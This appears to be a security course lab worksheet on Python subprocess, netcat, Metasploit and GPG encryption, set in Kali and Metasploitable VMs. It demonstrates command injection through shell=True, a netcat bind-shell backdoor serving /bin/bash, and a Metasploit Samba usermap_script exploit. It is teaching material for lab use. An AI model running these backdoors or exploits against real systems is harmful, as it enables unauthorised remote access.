Lab 6

Subprocess module, Netcat and Metasploit (1)
Public Key Encryption (2)

1. Subprocess in Python
   The subprocess module in Python allows us to run system commands in any OS including Unix to pipe input and output.

   The subprocess module has many functions. The most basic syntax is as follows:

```
import subprocess
subprocess.call("COMMAND")
```

   Let us create a simple program that makes use of the subprocess module. Type the following code in subprc.py and run it.

```
import subprocess
subprocess.call("ls")
```

   You can put options for your command by modifying the above code as follows.

```
import subprocess
subprocess.call("ls -l", shell = True)
```

   Now change the subproc.py to run ifconfig for a network interface name as user input. Type the following and run it.

```
import subprocess

interface = input("Enter interface name> ")
subprocess.call("ifconfig " + interface, shell = True)
```

   Input any interface name. What can you see?

   By using `shell = True`, you can run any Unix (Linux) commands with options. But, if we think about *secure coding*, this method has a drawback:

   Provide `eth0;ls` as an interface name to the above program. What can you see?

   You actually expected to run `ifconfig interface` but your Python program also executes `ls`. This shows that executing the `subprocess.call` with `shell=True` is dangerous (if we are a defender). Therefore, we split the command and options into a number of elements using Python list:

```
interface = input("Enter interface name> ")
subprocess.call(["ifconfig", interface])
```

Note that this is a safe way to use the run function in subprocess.

As an exercise, write a Python program using subprocess to make the `nmap` to take the target IP from the user.

2. Make your python executable.
We sometimes need to make our Python program executable. To do this, we add shebang line at the beginning of the code:

```
#!/usr/bin/env python
```

Then, issue `chmod +x yourfile.py` or `chmod 755 yourfile.py`.
You can execute it by issuing `./yourfile` on terminal.

Create a program to run and output the syn scan results of a target ip address and port 3306 only. Make your program executable.

3. Netcat

Netcat is often called the "Swiss-army knife of TCP/IP". Browse the help pages:
`nc –h` or `man nc`.

The basic structure of nc command for connecting to another machine is:
`nc options <IP address> port`

The basic structure of nc command for listening for inbound connections on some port is:
`nc -l -p port`

Turn on Metasploitable VM and connect to it using netcat on port 80:
`nc <Meta IP> 80`

To get some more user-friendly information, try `nc -v <Meta IP> 80`. Try to connect Metasploitable on port 22. If the connection is successful, you will get SSH-2.0-OpenSSH4.x etc. If you type anything, you will be disconnected. (This means failure to properly negotiate SSH handshake.)

Another basic but useful and interesting use of netcat is to run a simple server. Go to Metasploitable VM and run `nc –l –p 1234` on terminal.

Metasploitable is ready to accept your inbound traffic on port 1234. Go to your Kali machine and connect to the Metasploit machine: `nc <Meta IP>`

`1234` . Then, type some text (and press enter) from Kali. Do the same from Metasploitable. What's happening?

File transfer is also possible. Go to Kali machine, create a file named `plain.txt` and write something on the file. Go to Metasploitable machine and run to make Metasploitable listen and open the port 1234 for the file `plain.txt`

```
nc –l –p 1234 > plain.txt
```

Then go back to Kali machine and run

```
nc –w 3 <Meta IP> 1234 < plain.txt
```

What does this option `w` do?

It is interesting to creating a backdoor on the Metasploitable VM. Using netcat, we would like to put a backdoor in it. Now on Metasploitable run:

```
nc –l –p 6500 –e /bin/bash
```

On your Kali machine run:

```
nc <Meta IP> 6500
```

Then run `ls` command. What do you see there?

4. Using Metasploit to exploit Samba running on Metasploitable

Perform nmap on Metasploitable VM and find "Samba smbd 3.X – 4.X" from the nmap result. Now we want to find an exact version for this samba software through information gathering based on command the "auxiliary" module.

To do this, after running msfconsole, type,

`search smb_version`.

Then type `use`

`auxiliary/scanner/smb/smb_version`.

As usual type

`show options` and `set RHOSTS <Meta IP>.`

(You can set multiple IPs by putting CIDR identifier.)

Then type

`run`.

What is the version of Samba? Then run:

`search samba <version>`.

Among the search results, find

"`exploit/multi/samba/usermap_script`" from the search result.

Run `msfconsole` and type `use`

`exploit/multi/samba/usermap_script`.

Next, run

`show options`.

We can see we need to set up RHOST:

`set RHOSTS <Meta IP>`.

Run

`show options` again to check whether `RHOST` has been set.

Then run

`exploit`.
Once the exploit is successful, run some Unix commands including
`uname -a`.

5. GPG is a free cryptographic software originally developed by Werner Koch. It supports important major cryptographic algorithms, which are known to be secure. It has been continuously updated and is a crucial tool for privacy protection. It is a known fact that GPG is used by Edward Snowden to prevent his communications from being eavesdropped!

   Symmetric Encryption

   To encrypt a file using Symmetric encryption run:

   ```
   gpg -c test.txt
   ```

   The ciphertext "test.txt.gpg" will be created.
   To save your ciphertext in ascii format, run:
   `gpg -c --armor test.txt`

   Note that without the armor option, the default format of the ciphertext (encrypted text) is binary, which cannot be displayed correctly. To validate this, run the following:

   ```
   cat test.txt.gpg
   cat test.txt.asc
   ```

   What is the default symmetric encryption algorithm used by GPG?
   To decrypt a GPG encrypted file, run:

   ```
   gpg test.txt.gpg
   ```

6. **Public Key Encryption**
   To generate a key pair, run:
   `gpg --gen-key`

   What is the default encryption used?

   a) To export a public key (which you can send to a friend), run:
   `gpg --armor –export uid > mypubkey.gpg.asc`

   b) To list all public keys you have in your current system, run:
   `gpg --list-keys`

   c) To import a public key, run:
   `gpg --armor --import <public key received>`

   d) To encrypt a file, using a recipient's public key, run:
   gpg –encrypt -r <recipient_uid> --armor <filename>

e) To decrypt a file: gpg <filename>

7. Task

Assume that you are Alice on Kali VM. Your friend is Bob on Ubuntu VM.

i. GPG is also installed on Ubuntu. On Ubuntu VM, generate a Bob's public key, export it as asc (ascii), and send it to Alice on Kali VM (via email). (Refer to 6a)
ii. On Kali VM, import the received (Bob's) public key and encrypt any message using it (Bob's public key). Send the ciphertext to Bob the Ubuntu VM (via email). [refer to 6c, 6d]
iii. Bob decrypt the received ciphertext with his private key. [refer to 6e]